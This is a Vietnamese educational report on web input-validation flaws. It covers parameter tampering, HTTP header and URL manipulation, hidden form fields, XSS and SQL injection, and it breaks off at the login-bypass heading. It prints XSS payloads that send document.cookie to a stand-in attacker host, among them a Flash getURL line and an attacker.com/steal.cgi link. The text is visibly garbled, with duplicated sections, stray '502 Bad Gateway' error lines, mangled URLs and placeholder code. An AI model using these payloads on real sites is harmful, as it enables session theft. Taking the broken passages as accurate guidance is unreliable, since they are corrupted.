TÌM HIỂU LỖI KHÔNG KIỂM SOÁT ĐẦU VÀO CỦA ỨNG DỤNG (SQL INJECTION, XSS ) LỜI NÓI ĐẦU Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trê.
Tổng quan về Tấn công ứng dụng web
Vấn đề an toàn mạng
An toàn mạng đóng vai trò quan trọng trong việc bảo vệ thông tin và dữ liệu khỏi các mối đe dọa mạng Nó giúp đảm bảo tính bảo mật và chống lại các hành vi đánh cắp hoặc thay đổi dữ liệu do hacker thực hiện Việc duy trì an toàn mạng là cần thiết để bảo vệ hệ thống và thông tin của tổ chức khỏi các nguy cơ tiềm ẩn trên Internet.
Các hacker có thể tấn công trực tiếp hoặc tấn công dựa trên các lỗ hổng bảo mật. Một số thủ đoạn tấn công mạng thông dụng gồm có:
- Cài đặt Spyware, Keylogger, Backdoor, Sniffer
- Tấn công từ chối dịch vụ DDoS- Botnet
- Tấn công lỗ hổng bảo mật web
- Sử dụng Proxy tấn công mạng
- Tấn công trên tầng ứng dụng
- Tấn công khai thác mối quan hệ tin cậy
1.2.1 Khái niệm lỗ hổng bảo mật
Lỗ hổng bảo mật là điểm yếu trong hệ thống hoặc dịch vụ, tạo điều kiện cho kẻ tấn công xâm nhập trái phép Những lỗ hổng này cho phép hacker thực hiện các hành động phá hoại hoặc chiếm đoạt tài nguyên một cách bất hợp pháp, đe dọa an toàn thông tin của tổ chức Việc phát hiện và xử lý các lỗ hổng bảo mật đóng vai trò quan trọng trong việc bảo vệ hệ thống khỏi các cuộc tấn công mạng.
Ngay cả phần mềm tầm trung, chỉ phục vụ một vài tác vụ chuyên biệt, cũng chứa lượng lớn mã nguồn do con người viết, dẫn đến khả năng xuất hiện lỗi không thể tránh khỏi Tuy nhiên, trong các phần mềm được phát triển chuyên nghiệp, những lỗi này thường không ảnh hưởng nghiêm trọng đến bảo mật hoặc hoạt động chính của hệ thống Thông thường, các lỗi nhỏ có thể khiến một số chức năng không hoạt động đúng hoặc gây chậm trễ trong quá trình sử dụng, thậm chí gây phần mềm “treo” khi đang làm việc.
Các lỗi phần mềm có thể bị khai thác bởi hacker để tác động đến cách vận hành của phần mềm, xem dữ liệu quản lý và thực hiện các hành động độc hại Ngoài nguyên nhân khách quan như sự bất cẩn của người dùng trong việc click vào link lạ hoặc tải phần mềm độc hại, những lỗ hổng này là các điểm yếu chủ yếu mà tin tặc thường xuyên khai thác để xâm nhập hệ thống, từ máy chủ đến thiết bị cá nhân người dùng cuối Những phần mềm không phổ biến, phục vụ các tác vụ đơn giản ít gây nguy hiểm nghiêm trọng, nhưng hệ thống phần mềm càng phức tạp và đồ sộ, việc kiểm soát các lỗi này càng trở nên khó khăn, bất kể trình độ của các kỹ sư Những phần mềm quan trọng, chiếm vai trò chủ chốt trong hệ thống, thường là mục tiêu của các cuộc tấn công do khả năng tác động sâu rộng đến các thành phần khác nhau, dẫn đến nguy cơ kẻ xấu lợi dụng lỗ hổng để thay đổi hoạt động của máy móc, kiểm soát quyền truy cập các thông tin nhạy cảm và gây hậu quả nghiêm trọng.
Các công cụ bảo mật hiện đại như tường lửa, phần mềm chống virus và chống malware hoạt động thông minh để phát hiện hành vi đáng ngờ của mã độc, kể cả khi chúng chưa có trong cơ sở dữ liệu Như một trinh sát tinh nhuệ phát hiện dấu hiệu khả nghi của kẻ trộm mà không cần lệnh truy nã, các công cụ này có thể nhận diện các mối đe dọa mới và chưa được biết đến Tuy nhiên, rủi ro lớn nhất xảy ra khi hacker phát hiện lỗ hổng chưa ai phát hiện, tạo ra các công cụ mới để khai thác, đặt các hệ thống vào tình trạng nguy hiểm cao nhất.
Hai cuộc đua này, không xét đến những đối tượng sử dụng lại công cụ, đều có nhiều kinh nghiệm trong việc vượt qua các biện pháp bảo mật Do đó, cho đến khi lỗ hổng được khắc phục hoàn toàn, mọi biện pháp của các công cụ bảo mật chỉ mang tính tạm thời Chuỗi sự kiện phổ biến bắt đầu với việc các đối tượng cố gắng tránh ánh mắt dò xét của hệ thống bảo mật, sau đó khai thác lỗ hổng trước khi các biện pháp phòng vệ được vá lỗi triệt để.
- Xuất hiện một lỗ hổng có thể bị khai thác bằng các công nghệ hiện có.
- Kẻ tấn công phát hiện lỗ hổng.
- Kẻ này lập tức tiến hành viết và phát tán công cụ khai thác lỗ hổng này.
- Hãng sản xuất đồng thời phát hiện lỗi và lập tức tìm cách sửa chữa.
- Lỗ hổng được công bố ra ngoài.
- Các phần mềm anti-virus được cập nhật thông tin để phát hiện khi có các đoạn mã tìm cách khai thác lỗ hổng này.
- Hãng sản xuất hoàn thành bản vá.
- Hãng hoàn tất phát hành bản vá lỗi đến tất cả khách hàng.
1.2.3 Các mức tấn công hệ thống
Mức 1: Tấn công vào một số dịch vụ mạng: Web, email,… dẫn đến Nguy cơ lộ thông tin về cấu hình mạng.
Mức 2: Kẻ phá hoại dùng tài khoản của người dùng hợp pháp để chiếm đoạt tài nguyên hệ thống Kẻ phá hoại có thể thay đổi quyền truy nhập qua các lỗ hổng bảo mật hoặc đọc các thông tin trong tập tin liên quan đến truy nhập hệ thống như: /etc/passwd (Linux) và SAM file (windows).
Trong mức 3, 4, 5, kẻ phá hoại không chỉ lợi dụng quyền hạn của người dùng thông thường mà còn có quyền cao hơn, cho phép kích hoạt các dịch vụ hoặc truy cập thông tin hệ thống quan trọng Các mức này cho thấy mức độ nguy hiểm ngày càng tăng của các đối tượng xấu trong việc xâm phạm hệ thống Việc kiểm soát quyền truy cập của người dùng và phát hiện các hành vi bất thường ở các cấp này là vô cùng cần thiết để bảo vệ an toàn hệ thống Do đó, cần có các biện pháp bảo mật chặt chẽ để ngăn chặn các hành vi phá hoại vượt mức quyền hạn của người dùng thông thường.
Mức 6: Kẻ tấn công chiếm được quyền root hoặc admin trên hệ thống.
1.3.1 Khái niệm ứng dụng Web
Khi trang web tồn tại trên Internet, nó được lưu trữ tại Webserver, nơi cung cấp dữ liệu cho người dùng truy cập Webserver có nhiệm vụ lưu trữ các trang web để Webclient có thể truy xuất một cách dễ dàng Ứng dụng web hoạt động theo mô hình client/server, sử dụng giao thức HTTP để tương tác với người dùng hoặc hệ thống khác, đảm bảo quá trình truyền tải dữ liệu hiệu quả và an toàn.
Trình khách (client) dành cho người dùng phổ biến là các trình duyệt web như Internet Explorer hoặc Netscape Navigator, giúp người dùng truy cập và tương tác với các trang web một cách dễ dàng Ngoài ra, còn có các chương trình đại lý người dùng hoạt động như trình duyệt tự động, hỗ trợ gửi và nhận dữ liệu từ máy chủ web Các chương trình này bao gồm các trang web thương mại điện tử, diễn đàn, và các dịch vụ gửi nhận email, đóng vai trò quan trọng trong quá trình trao đổi thông tin trực tuyến.
Tốc độ phát triển các kỹ thuật xây dựng ứng dụng web ngày càng nhanh chóng, chuyển từ sử dụng CGI đơn giản sang các công nghệ hiện đại hơn Các ứng dụng web hiện nay thường được viết bằng Java hoặc các ngôn ngữ tương tự, chạy trên máy chủ phân tán để đảm bảo hiệu suất cao và khả năng mở rộng Thay vì chỉ kết nối vào các cơ sở dữ liệu đơn giản trên cùng một máy chủ, các ứng dụng web hiện đại có thể truy cập vào nhiều nguồn dữ liệu khác nhau để đáp ứng nhu cầu ngày càng đa dạng của người dùng.
Một ứng dụng Web thường có kiến trúc:
Lớp trình bày có vai trò chính trong việc hiển thị dữ liệu cho người dùng một cách rõ ràng và trực quan Ngoài ra, lớp này còn hỗ trợ tạo bố cục cho trang web, giúp thiết kế giao diện phù hợp với nội dung Việc sử dụng lớp trình bày tối ưu đảm bảo trải nghiệm người dùng mượt mà và hấp dẫn hơn trên các nền tảng trực tuyến.
Lớp ứng dụng trong hệ thống web đảm nhận việc xử lý yêu cầu của người dùng, đưa ra quyết định và gửi kết quả đến lớp trình bày Nó thường được xây dựng bằng các kỹ thuật lập trình như CGI, Java, PHP hoặc ColdFusion, và triển khai trên các máy chủ như IBM WebSphere, WebLogic, Apache hoặc IIS để đảm bảo hoạt động hiệu quả và ổn định.
Lớp dữ liệu: thường là các hệ quản trị CSDL (DBMS-database management system) chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng.
1.3.2 Các nguy cơ đối với hệ thống Web
- Nguy cơ bị tấn công từ chối dịch vụ (DoS, DDoS) làm cho hệ thống không còn khả năng phục vụ các yêu cầu chính đáng.
- Nguy cơ bị thay đổi nội dung trang Web làm giảm uy tín và/hoặc bôi nhọ tổ chức.
- Nguy cơ bị kẻ xấu làm sai lệch các thông tin khi thực hiện các giao dịch điện tử trên môi trường Internet.
- Nguy cơ bị đánh cắp các thông tin nhạy cảm như: thông tin tài khoản, mật khẩu truy cập hệ thống và thông tin thẻ tín dụng,….
1.3.3 Các hình thức tấn công ứng dụng Web
Có 5 hình thức tấn công ứng dụng Web chủ yếu:
- Tấn công dựa vào kiểu quản lý phiên làm việc (Session Management)
- Tấn công lợi dụng những thiếu sót trong kiểm tra dữ liệu nhập vào hợp lệ (Input validation)
- Tấn công cơ sở hạ tầng mạng (Infrastructure)
- Tấn công dựa vào việc để lộ thông tin (privacy violations)
- Tấn công kiểm soát truy cập (Excessive permission and privileges)
1.4 Các hình thức tấn công dựa trên lợi dụng thiếu sót trong kiểm tra dữ liệu hợp lệ
- Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt
- Chèn mã lệnh thực thi trên trình duyệtnạn nhân
- Thêm câu lệnh hệ thống
- Chèn câu truy vấn SQL
- Ngôn ngữ phía máy chủ
- Thao tác trên tham số truyền
Lỗ hổng bảo mật
2.1 Thao tác trên tham số truyền (Parameter Tampering)
Tham số truyền là yếu tố quan trọng trong các quá trình thay đổi thông tin trên cookie, URL hoặc biến ẩn của form, đóng vai trò chủ chốt trong các kỹ thuật tấn công như Cross-Site Scripting, SessionID, SQL Injection và Buffer Overflow Các tham số này là đầu mối chính giúp hacker hoàn thiện các bước tấn công vào ứng dụng, chi phối toàn bộ hoạt động xâm nhập Việc hiểu rõ vai trò của tham số truyền giúp nâng cao khả năng phòng vệ và phát hiện các cuộc tấn công mạng.
2.1.1 Chỉnh sửa HTTP Header (HTTP Header malipulation)
URL, biến ẩn form và cookie đều là các thành phần lưu trữ thông tin mà người dùng có thể xem và thay đổi Tuy nhiên, những dữ liệu này đều được chuyển qua HTTP Header, một phần quan trọng trong quá trình truyền thông dữ liệu của trình duyệt và máy chủ Mặc dù HTTP Header không phải là tham số truyền trực tiếp trong ứng dụng, nhưng tất cả thông tin đều được lưu trữ và gửi qua đó trước khi đến đích Vì vậy, việc hiểu cách thay đổi HTTP Header là yếu tố quan trọng để kiểm soát và bảo mật dữ liệu trong quá trình truyền tải.
HTTP Header là phần đầu của thông tin trao đổi giữa trình khách và trình chủ, trong đó trình khách gửi HTTP requests (yêu cầu) và trình chủ phản hồi bằng HTTP responses (trả lời) Việc hiểu rõ vai trò của HTTP Header giúp tối ưu hóa quá trình truyền tải dữ liệu và cải thiện hiệu suất của website Các HTTP Header chứa các thông tin quan trọng như loại dữ liệu, loại trình duyệt, ngôn ngữ ưu tiên và các thông số khác hỗ trợ quá trình xử lý và phản hồi của máy chủ Việc tối ưu hóa các HTTP Header giúp nâng cao trải nghiệm người dùng và nâng cao khả năng SEO của website.
HTTP header thường gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị tương ứng Một số tham số được sử dụng trong cả header yêu cầu và header phản hồi, giúp quá trình truyền tải dữ liệu trở nên linh hoạt hơn Trong khi đó, một số tham số chỉ được sử dụng riêng trong từng loại header để phù hợp với mục đích cụ thể Việc hiểu rõ cách phân biệt các tham số này là quan trọng để tối ưu hoá hoạt động của website và đảm bảo an toàn thông tin.
- Cấu trúc Header HTTP request:
GET /tintuc/homnay.asp HTTP/1.1 (1)
Referer: http://localhost/lienket.asp (6)
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) (7)
+ Dòng (1) cho biết phương thức yêu cầu (GET hoặc POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP/1.1
+ Accept-Language: Cho biết ngôn ngữ dùng trong trang Web
+ Host: Cho biết địa chỉ của máy chủ
+ Referer: Cho biết địa chỉ của trang Web tham chiếu tới
+ User-Agent: thông tin từ máy người dùng.
Lỗi không kiểm soát đầu vào của ứng dụng
Thao tác trên tham số truyền (Parameter Tampering)
Trong an ninh mạng, thao tác trên tham số truyền là kỹ thuật quan trọng để thay đổi thông tin trên cookie, URL hoặc biến ẩn của form nhằm thực hiện các cuộc tấn công Các kỹ thuật hacker như Cross-Site Scripting, SessionID hijacking, SQL Injection và Buffer Overflow đều dựa vào việc lợi dụng các tham số này để hoàn thiện quá trình tấn công Do đó, tham số truyền đóng vai trò then chốt trong hoạt động của hacker khi tấn công ứng dụng web, là đầu mối quan trọng để phân tích và phòng ngừa các lỗ hổng bảo mật.
2.1.1 Chỉnh sửa HTTP Header (HTTP Header malipulation)
URL, biến ẩn form và cookie đều là các thành phần lưu trữ thông tin mà người dùng phổ biến có thể xem và chỉnh sửa Tuy nhiên, tất cả thông tin này đều được chuyển qua HTTP Header, mặc dù Header không phải là tham số truyền chính của ứng dụng Vì vậy, việc hiểu cách thay đổi HTTP Header là cực kỳ quan trọng để kiểm soát dữ liệu truyền tải, và phần này sẽ trình bày cách thực hiện việc chỉnh sửa HTTP Header một cách chi tiết.
HTTP Header là phần quan trọng nằm ở đầu của thông tin giao tiếp giữa trình duyệt và máy chủ, trong đó trình khách gửi các yêu cầu HTTP requests để yêu cầu dữ liệu, còn trình chủ phản hồi bằng các HTTP responses chứa kết quả và thông tin phản hồi phù hợp.
Trong một HTTP header thường gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị liên quan Một số tham số có thể được sử dụng trong cả header yêu cầu và header trả lời, giúp đảm bảo sự linh hoạt trong quá trình gửi và nhận dữ liệu Tuy nhiên, vẫn còn những tham số chỉ áp dụng riêng cho từng loại header, phù hợp với chức năng cụ thể của từng phần để tối ưu hóa hiệu quả truyền tải thông tin.
- Cấu trúc Header HTTP request:
GET /tintuc/homnay.asp HTTP/1.1 (1)
Referer: http://localhost/lienket.asp (6)
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) (7)
+ Dòng (1) cho biết phương thức yêu cầu (GET hoặc POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP/1.1
+ Accept-Language: Cho biết ngôn ngữ dùng trong trang Web
+ Host: Cho biết địa chỉ của máy chủ
+ Referer: Cho biết địa chỉ của trang Web tham chiếu tới
+ User-Agent: thông tin từ máy người dùng
+ Accept-Encoding: kiểu mã hóa dữ liệu
+ Header của HTTP request sẽ kết thúc bằng một dòng trống
- Cấu trúc của Header HTTP response:
+ Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dùng (HTTP/1.1), mã trạng thái (200) và trạng thái (OK)
+ Server: trình duyệt máy chủ sử dụng
+ Date: thời gian trả lời yêu cầu
+ Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần thân của HTTP response
Trong hầu hết các ứng dụng Web, chỉ trình duyệt mới thực hiện trao đổi HTTP Header, còn các ứng dụng thường không kiểm soát được quá trình này Hacker có thể tự viết phần mềm để điều khiển HTTP Header, như xem nội dung hoặc tạo mới dữ liệu, hoặc sử dụng các proxy miễn phí để thay đổi dữ liệu gửi từ trình duyệt Ngoài ra, hacker còn có thể tấn công trực tiếp bằng cách đăng nhập từ xa và gửi các yêu cầu HTTP Request đến máy chủ của ứng dụng.
- Mục đích tấn công: Thay đổi dữ liệu gửi đi từ trình duyệt để đạt được những mục đích khác nhau.
Trying 127.0.0.1 Connected to localhost Escape character is '^]'. GET / HTTP/1.0 Referer: www.redhat.com/login.asp
User-Agent:
Phần in đậm chính là phần nội dung hacker đã thay đổi.
Referer header chứa URL của trang web gửi yêu cầu, giúp xác định nguồn gốc của yêu cầu đó Nhiều ứng dụng kiểm tra thành phần này trong header để đảm bảo rằng yêu cầu được gửi từ trang web chính thức của họ Việc kiểm tra Referer header giúp bảo vệ chống lại các tấn công giả mạo và nâng cao an ninh cho hệ thống web.
Phương pháp này nhằm ngăn chặn hacker lưu trữ trang Web xuống máy và chỉnh sửa thuộc tính form để phá hoại, đặc biệt nhắm vào các lỗ hổng như CSV hoặc SSI rồi gửi thông tin đi Tuy nhiên, hiệu quả của cách kiểm tra này bị hạn chế khi hacker có thể thay đổi giá trị trong header Referer, khiến các cuộc tấn công trông như đến từ trang web hợp lệ và vượt qua các biện pháp bảo vệ.
Referer: www.redhat.com/login.asp
+ Không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn. + Với các header gửi từ trình chủ thì có thể được mã hoá.
+ Với các header gửi từ trình khách thì không nên dùng các tham số như Referer,… để thực hiện các biện pháp an toàn.
2.1.2 Chỉnh sửa địa chỉ URL (URL Malipulation)
Khi người dùng nhập dữ liệu vào một biểu mẫu HTML và gửi đi, dữ liệu đó có thể được truyền theo hai phương thức chính là GET hoặc POST Trong đó, phương thức GET sẽ gửi dữ liệu bằng cách đính kèm các tên biến và giá trị của chúng vào cuối URL, giúp dễ dàng chia sẻ và lưu trữ liên kết đã điền dữ liệu.
Có một trang Web ứng dụng cho phép thành viên được thay đổi mật khẩu. http://www.nganhang.com/example?user=trang&newpass3 Với:
- user: Tài khoản người dùng muốn thay đổi mật khẩu
- newpass: mật khẩu mới của tài khoản username
Tuy nhiên, bằng cách thay đổi tham số như sau: http://www.nganhang.com/example?usermin&newpass1111
Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì, trong ví dụ này là ‘111111’.
- Biện pháp khắc phục: Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng biện pháp sau:
Ứng dụng sử dụng cơ chế bảng băm (hash table) để xác thực người dùng một cách hiệu quả Sau khi người dùng đăng nhập thành công với tên đăng nhập (username), hệ thống sẽ tạo ra một khóa riêng biệt và lưu trữ nó trên server cùng với username trong bảng băm Mỗi lần người dùng kết nối lại, hệ thống sẽ gửi khóa và username để so sánh với dữ liệu trong bảng băm nhằm xác minh tính hợp lệ, giúp ngăn chặn các hành vi thay đổi URL trái phép.
+ Ngoài ra, với những thông tin có giá trị, cần mã hoá chúng trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý.
2.1.3 Chỉnh sửa trường ẩn Form (Hidden Form Field Malipulation)
Trường ẩn của form, còn gọi là Hidden Form Field, là nơi chứa thông tin có thể được truyền đổi bất kỳ lúc nào mà không hiển thị trên màn hình trình duyệt Người dùng có thể xem nội dung của trường ẩn này thông qua phần “view source”, tạo cơ hội cho hacker lợi dụng để lưu nội dung trang web xuống máy, chỉnh sửa dữ liệu rồi gửi lại hệ thống Chính vì vậy, việc sử dụng trường ẩn trong form cần cẩn trọng để tránh rủi ro bị tấn công và đảm bảo an toàn dữ liệu người dùng.
Form gốc có nội dung như sau:
Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung: POST /cuahang.pl HTTP/1.0
Nhưng nếu hacker gán một giá trị khác cho trường “giaca”:
thì yêu cầu sẽ thay đổi:
Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn xâm phạm và chỉnh sửa nội dung các thành phần trong form, như chiều dài của ô nhập dữ liệu, nhằm thực hiện các cuộc tấn công Buffer Overflow Các hành vi này làm mất tính toàn vẹn của dữ liệu và đe dọa an ninh thông tin của hệ thống Việc bảo vệ form khỏi các cuộc tấn công này đòi hỏi các biện pháp mã hóa, kiểm tra dữ liệu đầu vào và cập nhật các bản vá bảo mật thường xuyên Hiểu rõ về các kỹ thuật tấn công như Buffer Overflow giúp các nhà phát triển nâng cao khả năng phòng vệ và tăng cường an ninh cho các ứng dụng web.
Chỉ nên sử dụng trường ẩn của form để hiển thị dữ liệu trên trình duyệt, nhằm bảo vệ thông tin khỏi bị lộ ra ngoài Không nên sử dụng giá trị của biến để thao tác trong xử lý ứng dụng, nhằm đảm bảo tính an toàn và ổn định của hệ thống Việc này giúp hạn chế rủi ro liên quan đến an ninh dữ liệu khi truyền tải thông tin Sử dụng trường ẩn một cách hợp lý là cách hiệu quả để quản lý dữ liệu trong các form web.
Sử dụng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến là một phương pháp phổ biến, tuy nhiên, cần lưu ý rằng hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của yêu cầu Vì vậy, không nên quá tin tưởng vào biến HTTP_REFERER để xác thực nguồn gốc, nhằm đảm bảo an toàn cho hệ thống của bạn.
Để kiểm tra tính toàn vẹn của dữ liệu trong biểu mẫu, ta ghép tên và giá trị của biến ẩn thành một chuỗi đơn và sử dụng thuật toán mã hoá hoặc hash một chiều để tổng hợp chuỗi đó Chuỗi tổng hợp này được lưu vào một hidden field gọi là “Chuỗi mẫu” Khi gửi dữ liệu, hệ thống sẽ thực hiện lại các thao tác này với cùng một khoá trước đó để tạo ra chuỗi mới, sau đó so sánh với “Chuỗi mẫu” Nếu hai chuỗi không khớp nhau, điều đó chứng tỏ dữ liệu trong biểu mẫu đã bị thay đổi, giúp đảm bảo tính xác thực của dữ liệu được gửi đi.
+ Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên CSDL.
Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình duyệt của người dùng.
Cookie là các file dữ liệu nhỏ dạng text dùng để lưu trữ và truy tìm thông tin của người dùng đã ghé thăm trang web, như tên, mật khẩu, sở thích và thói quen Chúng giúp website nhận diện người dùng, ghi nhớ các hành vi và vùng họ đã truy cập trên trang Cookie được trình duyệt chấp nhận lưu trên đĩa cứng của máy tính, nhưng việc này phụ thuộc vào người dùng có đồng ý hay không Khi người dùng truy cập lại trang web, ứng dụng có thể sử dụng dữ liệu trong cookie để tự động đăng nhập hoặc lưu trữ các thông tin khác, giúp trải nghiệm người dùng trở nên thuận tiện hơn.
Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
2.2.1 Kĩ thuật tấn công Cross Site SCRIPTING (XSS)
502 Bad GatewayUnable to reach the origin service The service may be down or it may not be responding to traffic from cloudflared
502 Bad GatewayUnable to reach the origin service The service may be down or it may not be responding to traffic from cloudflared
502 Bad GatewayUnable to reach the origin service The service may be down or it may not be responding to traffic from cloudflared
Ví dụ: http://hotwired.lycos.com/Webmonkey/00/index1.html? tw=alert (document.cookie);
Trong bài viết này, phần in đậm là đoạn mã được thêm vào nhằm mục đích đánh cắp cookies của nạn nhân Các ví dụ trong phần 2.I-1 cho thấy hầu hết các tiền tố URL là các địa chỉ của các ứng dụng Web thực tế như http://www.microsoft.com/education hoặc http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/ Điều này cho thấy hacker lợi dụng cách truyền tham số trên URL để dễ dàng thêm đoạn mã độc, từ đó thực hiện hoạt động đánh cắp cookie một cách hiệu quả.
Các cách thêm đoạn mã JavaScript nhằm thực hiện tấn công XSS rất đa dạng, không chỉ đơn giản qua việc chèn mã vào URL Hacker có thể tận dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dung của ứng dụng web một cách dễ dàng Các vị trí tiềm năng để chèn mã độc bao gồm các biểu mẫu nhập liệu, các liên kết, các yếu tố HTML không được kiểm soát chặt chẽ, và các phần tử chứa nội dung người dùng có thể tùy ý chỉnh sửa Việc hiểu rõ các lỗ hổng này giúp nâng cao khả năng phòng tránh và bảo vệ website khỏi các cuộc tấn công XSS.
[code]
< script>[code]</script>; Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin.
2.2.2 Phương pháp tấn công XSS truyền thống Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie Cookie là mẩu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó.
- Các bước thực hiện XSS truyền thống:
- Tóm tắt các bước thực hiện:
+ Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hỏng XSS.
Kẻ tấn công đăng nhập vào ứng dụng với cookie vừa được ăn cắp Ứng dụng Web
(Hotmail, Yahoo) kích thích sự tò mò của người dùng như “Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”…
+ Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker.
+ Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin
+ Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng.
Khi đang đọc thư trên Yahoo Mail mà chuyển sang Website khác, người dùng có thể bị mất mật khẩu do lỗi XSS Trước đây, nhiều hộp thư Yahoo gặp phải tình trạng mất mật khẩu hoặc bị truy cập trái phép mà không rõ nguyên nhân, chủ yếu là do lỗi XSS Hacker lợi dụng lỗ hổng này để chèn đoạn mã độc khai thác cookie người dùng, giúp đánh cắp thông tin đăng nhập và truy cập trái phép vào tài khoản của nạn nhân Việc bảo vệ tài khoản email khỏi các cuộc tấn công XSS đòi hỏi người dùng cần nâng cao cảnh giác và cập nhật các biện pháp bảo mật phù hợp.
Khi nhận thư, người dùng vô tình di chuột qua ảnh đính kèm có thể bị lấy mất cookie Các hacker có thể sử dụng cookie này để đăng nhập vào tài khoản email mà không cần biết mật khẩu Do đó, việc cảnh giác với các file đính kèm và hình ảnh không rõ nguồn gốc là rất quan trọng để bảo vệ thông tin cá nhân và tránh bị tấn công mạng.
Ví dụ: Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể thực hiện như sau:
Look at this!
Một phần thưởng hấp dẫn đang chờ bạn
Khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ bạn”, cookie trên máy của nạn nhân sẽ bị đánh cắp và truyền vào chương trình steal.cgi của hacker, dẫn đến nguy cơ mất dữ liệu cá nhân và an ninh mạng Các liên kết độc hại này thường chứa tham số như http://www.attacker.com/steal.cgi? lubid= để thực hiện hành vi tấn công qua việc lấy cắp cookie người dùng Do đó, việc nhận diện và phòng ngừa các liên kết đáng ngờ là yếu tố quan trọng để bảo vệ an toàn thông tin cá nhân trực tuyến.
%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20Y0119511286
Người lập trình thường sử dụng phương pháp lọc ký tự đặc biệt như ‘ hoặc + để tăng cường bảo vệ ứng dụng web khỏi các cuộc tấn công SQL injection Tuy nhiên, hacker có thể lợi dụng mã hex để thay thế các ký tự đặc biệt, bằng cách thay thế các mã hex tương ứng vào chuỗi truy vấn Việc này cho thấy rằng việc chỉ dựa vào việc lọc ký tự đặc biệt không đủ để đảm bảo an toàn, do các kỹ thuật mã hóa như mã hex có thể bị lợi dụng để vượt qua các biện pháp kiểm tra bảo mật Do đó, cần áp dụng các phương pháp xác thực và kiểm tra đầu vào toàn diện hơn để đảm bảo bảo mật cho ứng dụng web.
2.2.3 Phương pháp tấn công XSS bằng Flash
Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash để đánh cắp thông tin
Macromedia Flash cho phép lập trình bằng ngôn ngữ kịch bản ActionScript, được tích hợp sẵn trong nền tảng này ActionScript có cú pháp đơn giản, dễ học và không quá phức tạp, tương tự như các ngôn ngữ phổ biến như JavaScript, C hoặc PERL Hàm getURL() trong ActionScript thường được sử dụng để gọi và mở một trang web khác, với tham số chính là URL, ví dụ như "http://www.example.com".
Hàm getURL() sẽ như sau: getURL(“http://www.yahoo.com”)
Tuy nhiên có thể thay thế URL bằng JavaScript: getURL(“javascript:alert(document.cookie)”)
Lệnh ở trên sẽ hiển thị bảng thông báo chứa cookie của trang web lưu trữ tập tin Flash đó, cho thấy trang đã bị tấn công bằng cách chèn mã JavaScript vào ứng dụng web qua tập tin Flash Ví dụ rõ ràng về hình thức tấn công này là đoạn mã trong tập tin Flash: getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+document.cookie)”), được thi hành khi tập tin Flash được tải, cho phép kẻ tấn công lấy cắp cookie của người dùng.
Khi người dùng truy cập trang web chứa tập tin Flash, cookie của họ sẽ ngay lập tức được tạo ra và gửi về cho hacker Điều này có nghĩa là hacker có thể dễ dàng thu thập thông tin cá nhân và gây ra các mối đe dọa bảo mật Tình trạng này làm giảm đáng kể an toàn thông tin của người dùng khi lướt web Do đó, việc kiểm soát và bảo vệ cookie là rất quan trọng để ngăn chặn các cuộc tấn công từ hacker.
Tấn công kiểu “chèn câu lệnh truy vấn” (sql injection)
SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trìnhWeb về phần truy xuất CSDL Đây không chỉ là khuyết điểm của riêng SQL
Server, mà nó còn là vấn đề chung cho toàn bộ các CSDL khác như Oracle, MS Access hay IBM DB2
Khi hacker gửi dữ liệu qua các form trên ứng dụng web, hệ thống sẽ xử lý và phản hồi kết quả truy vấn hoặc thông báo lỗi liên quan đến CSDL Những phản hồi này giúp hacker nắm bắt được nội dung của cơ sở dữ liệu, từ đó có thể thực hiện các cuộc tấn công nhằm kiểm soát hệ thống ứng dụng một cách dễ dàng.
2.3.1 Tấn công vượt qua kiểm tra đăng nhập
